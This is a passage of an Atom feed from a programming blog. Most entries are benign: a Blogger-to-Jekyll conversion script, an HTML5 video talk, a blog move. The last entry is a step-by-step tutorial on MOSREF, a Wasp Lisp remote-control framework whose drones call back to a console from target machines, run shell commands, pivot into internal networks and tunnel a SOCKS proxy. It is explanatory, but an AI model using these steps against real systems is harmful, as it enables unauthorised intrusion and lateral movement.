                   fprintf fd &amp;quot;---\n&amp;quot; () $$
                   fprintf fd &amp;quot;Original Post [%s](%s)\n&amp;quot; (title,href) $$
                   fclose fd
                   when
                       filename = post_filename post;
                       fd = fopen filename &amp;quot;w&amp;quot;;
                       title = article_title post;
                       href = article_url post;
                       tags = article_tags post;
                  end;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Basically I used the Pure XML library to get a list of posts (I use an XPATH expression to get the relevant parts of the post from the Blogger XML). For each post I then call create_post on it:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;map create_post all_posts&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I didn&amp;#8217;t go crazy and convert the actual HTML content into the &lt;a href='http://daringfireball.net/projects/markdown/'&gt;markdown&lt;/a&gt; format I&amp;#8217;m using fo the Jekyll posts and convert everything completely - maybe a task for another day.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>LCA 2010 talk about implementing HTML 5 video in Firefox</title>
   <link href="http://bluishcoder.co.nz/2010/02/13/lca-2010-implementing-html5-video-in-firefox.html"/>
   <updated>2010-02-13T23:27:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/13/lca-2010-implementing-html5-video-in-firefox</id>
   <content type="html">&lt;p&gt;Last month I attended &lt;a href='http://www.lca2010.org.nz'&gt;linux.conf.au 2010&lt;/a&gt; and gave a talk on the different paths we took implementing HTML 5 video in Firefox. I wrote the talk using Eric Meyer&amp;#8217;s &lt;a href='http://meyerweb.com/eric/tools/s5/'&gt;S5 Slide&lt;/a&gt; system with the video demos embedded or linked from the slides themselves. You can view the slides here: &lt;a href='http://www.bluishcoder.co.nz/lca2010'&gt;http://www.bluishcoder.co.nz/lca2010&lt;/a&gt;. To see the videos you&amp;#8217;ll need to be running a browser that supports HTML 5 video and the Ogg Theora codec (Chrome, Firefox, Opera alpha builds, Safari with a plugin).&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Moving away from blogger</title>
   <link href="http://bluishcoder.co.nz/2010/02/13/moving-away-from-blogger.html"/>
   <updated>2010-02-13T19:23:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2010/02/13/moving-away-from-blogger</id>
   <content type="html">&lt;p&gt;Blogger are &lt;a href='http://blogger-ftp.blogspot.com/'&gt;deprecating their ftp publishing&lt;/a&gt; support and are recommending users to switch to their custom domain feature where they host the blog files for you. I prefer to keep my posts on my own server so will be switching weblog systems in the near future.&lt;/p&gt;

&lt;p&gt;This will break existing links to Atom feeds for specific labels (eg. the feed for Mozilla specific posts) as they are on a blogger controlled domain. So if you&amp;#8217;re reading this through one of those Atom feeds and want to continue with it then you might want to switch to:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;http://bluishcoder.co.nz/tags/[tagname]/atom.xml&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;For example, the Mozilla specific posts will be in &lt;a href='http://bluishcoder.co.nz/tags/mozilla/atom.xml'&gt;http://bluishcoder.co.nz/tags/mozilla/atom.xml&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;My existing posts will remain at their current URL&amp;#8217;s.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Using the Wasp Lisp Secure Remote Injection Framework (MOSREF)</title>
   <link href="http://bluishcoder.co.nz/2009/11/28/using-wasp-lisp-secure-remote-injection.html"/>
   <updated>2009-11-28T11:24:00+13:00</updated>
   <id>http://bluishcoder.co.nz/2009/11/28/using-wasp-lisp-secure-remote-injection</id>
   <content type="html">&lt;p&gt;MOSREF is a secure remote injection framework written in &lt;a href='http://waspvm.blogspot.com/'&gt;Wasp Lisp&lt;/a&gt; (which I previously wrote about &lt;a href='/2009/11/27/wasp-lisp-small-scheme-like-lisp.html'&gt;here&lt;/a&gt;). With MOSREF you have a &amp;#8216;console&amp;#8217; program running which can create dones applications that are run on a target system.&lt;/p&gt;

&lt;p&gt;The console and drones can communicate with each other, executing shell commands or Wasp Lisp code. Drones can create other drones to &amp;#8216;bridge&amp;#8217; bridge communications so the console can send commands to drones it is not directly connected too.&lt;/p&gt;

&lt;p&gt;Lisp code can be compiled and sent to drones to execute. One of the &amp;#8216;built in&amp;#8217; capabilities is a Socks proxy server. This can be run on a drone and data is tunneled to the console which the controller can use as a socks proxy.&lt;/p&gt;

&lt;p&gt;MOSREF isn&amp;#8217;t built by default with Wasp. To build it you need to run &amp;#8216;waspc&amp;#8217; to compile and create an executable (example assumes you are in the root of the Wasp source directory):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ cd mod
$ waspc -exe ../mosref bin/mosref
BUILD: bin/mosref
BUILD: core/macro
BUILD: core/config
BUILD: site/config
...
BUILD: mosref/cmd/with
BUILD: mosref/cmds
BUILD: bin/mosref
$ chmod +x ../mosref
$ rlwrap ../moseref
console&amp;gt; help
Commands: clear &amp;lt;key&amp;gt; ...
          cp &amp;lt;src-file&amp;gt; &amp;lt;dst-file&amp;gt;
          do &amp;lt;lisp-expr&amp;gt;
          drone &amp;lt;file&amp;gt; &amp;lt;id&amp;gt; &amp;lt;platform&amp;gt;
          exit
          help [i&amp;lt;command&amp;gt;]
          load &amp;lt;path&amp;gt;
          nodes
          on &amp;lt;node-id&amp;gt; [&amp;lt;command&amp;gt;]
          proxy [&amp;lt;portno&amp;gt; [&amp;lt;secret&amp;gt;]]
          recover &amp;lt;id&amp;gt;
          set [&amp;lt;key&amp;gt;[=&amp;lt;value&amp;gt;] [&amp;lt;command&amp;gt;]]
          sh &amp;lt;cmd&amp;gt;
          with &amp;lt;key&amp;gt;[=&amp;lt;value&amp;gt;] [&amp;lt;command&amp;gt;]&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first thing you need to do on the running console is set the IP address and the port it will listen on (Replacing xx.xx.xx.xx with the IP address):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; set addr=xx.xx.xx.xx
Set.
console&amp;gt; set port=10000
Set.&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now you need to create a drone executable to be run on the target system:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; drone drone1 foo linux-x86
Drone executable created.
Listening for drone on 10000...&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This creates an executable for Linux systems called &amp;#8216;drone1&amp;#8217;. It is given the name node name &amp;#8216;foo&amp;#8217;. It will show in the list of nodes available from the console:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; nodes
NODES: console online address: xx.xx.xx.xx port: 10000
       foo offline&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;When the &amp;#8216;drone1&amp;#8217; executable is run on a target system it will connect to the console using an encrypted connection. You will need to find a way to copy and run the executable onto the target. The following shows it being run on the target:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;target$ ./drone1
  DRONE: Preparing keys...
  DRONE: Sending Drone Public Key...
  DRONE: Sending Drone IV...
  DRONE: Reading Console IV...
  DRONE: CONSOLE IV CT is ...
  DRONE: CONSOLE IV PT is ...
  DRONE: Confirming Console IV...
  DRONE: Waiting for Console to confirm Drone IV...
  DRONE: Affiliation complete....&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The connection will show on the console:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; nodes
NODES: console online address: xx.xx.xx.xx port: 10000
       foo online&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Notice it shows &amp;#8216;foo&amp;#8217; is now online. It&amp;#8217;s now possible to execute commands on the target machine by sending them to the drone. Using &amp;#8216;sh&amp;#8217; you can execute shell commands. From the console:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; on foo sh ifconfig
eth0      Link encap:Ethernet  HWaddr ...
          inet addr:yy.yy.yy.yy
...
          RX bytes:2458924520 (2.2 GB)  TX bytes:2458924520 (2.2 GB)
console&amp;gt; on foo set addr=yy.yy.yy.yy
Set.
console&amp;gt; on foo set port=10000
Set.&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here we execute &amp;#8216;ifconfig&amp;#8217; on the target so we can find out the IP address. The output of &amp;#8216;ifconfig&amp;#8217; is sent back to the console. Using this information the addr and port is set on the drone. This can be used to have the target create new drones on internal machines that only it can access. It will then act as a bridge between the console and the internal machine.&lt;/p&gt;

&lt;p&gt;As well as running shell commands you can run Wasp Lisp code:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; on foo do (+ 1 2)
:: 3
console&amp;gt; on foo load lib/http-file-server.ms
:: spawn-http-file-server
console&amp;gt; on foo do (offer-http-file 2080 &amp;quot;/test&amp;quot; &amp;quot;text/plain&amp;quot; &amp;quot;Hello world!&amp;quot;)
:: [queue 824A098]&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using &amp;#8216;on foo do&amp;#8217; we compile a Lisp expression and send it to &amp;#8216;foo&amp;#8217; to be run. In this case a simple addition. &amp;#8216;on foo load&amp;#8217; will load a Lisp file located on the console, compile it, and send the byte code to be run on &amp;#8216;foo&amp;#8217;. Then we &amp;#8216;on foo do&amp;#8217; to run a function contained in that file on the &amp;#8216;foo&amp;#8217; machine. In this case, it runs a simple webserver. Any Lisp code can be sent and run.&lt;/p&gt;

&lt;p&gt;It&amp;#8217;s possible to copy files between nodes too. In this next example we create another drone that will be run on a machine internal to the network that the target is on. Note that the build is performed on the console so we need to copy the executable from there to the target.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; on foo drone drone2 bar linux-x86
Drone executable created.
Listening for drone on 10000...
console&amp;gt; cp console:/home/console/waspvm/mod/drone2 foo:/tmp/drone2
Copy from console:/home/console/waspvm/mod/drone2 to foo:/tmp/drone2&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using some magic means (an exploit, copying file using shell commands on the target drone, etc) we get &amp;#8216;drone2&amp;#8217; running on another machine available internally on the target network:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;target2$ ./drone2
  DRONE: Preparing keys...
  DRONE: Sending Drone Public Key...
  DRONE: Sending Drone IV...
  DRONE: Reading Console IV...
  DRONE: CONSOLE IV CT is ...
  DRONE: CONSOLE IV PT is ...
  DRONE: Confirming Console IV...
  DRONE: Waiting for Console to confirm Drone IV...
  DRONE: Affiliation complete....&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;From the console we now see the &amp;#8216;bar&amp;#8217; node:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; nodes
NODES: bar online
       console online address: xx.xx.xx.xx port: 10000
foo online address: yy.yy.yy.yy port: 10000&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;MOSREF has a &amp;#8216;proxy&amp;#8217; command that lets you set up a Socks 4 proxy on the console that tunnels traffic to and from a target node. Here we set up a proxy to the &amp;#8216;bar&amp;#8217; node:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;console&amp;gt; on bar proxy 5000
SOCKS Proxy created, listening on port 5000.&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will result in the &amp;#8216;console&amp;#8217; machine having a Socks 4 proxy running on port 5000. If you configure Firefox to use this proxy you can access local webservers available from the internal network that &amp;#8216;bar&amp;#8217; can see. Note that &amp;#8216;console&amp;#8217; can&amp;#8217;t see &amp;#8216;bar&amp;#8217; directly. It is tunnelling traffic to &amp;#8216;foo&amp;#8217;, from there to &amp;#8216;bar&amp;#8217;, then back from &amp;#8216;bar&amp;#8217; to &amp;#8216;foo&amp;#8217; and to &amp;#8216;console.&lt;/p&gt;

&lt;p&gt;The source for MOSREF is in the Wasp Lisp distribution and makes for a good body of Wasp Lisp code for learning.&lt;/p&gt;</content>
 </entry>
 
 
</feed>
